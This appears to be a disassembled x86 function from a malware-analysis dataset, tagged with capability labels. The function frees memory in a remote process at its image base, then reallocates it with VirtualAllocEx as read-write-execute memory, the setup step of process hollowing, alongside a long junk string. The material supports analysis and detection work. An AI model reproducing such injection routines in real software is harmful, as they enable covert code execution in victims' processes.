Function at 0x405d80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413b70
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x439198]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], str.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
push 0x41b46c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0
push 0x4000
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [0x43a2e4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x40
push 0x3000
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x43a2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x405e48
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4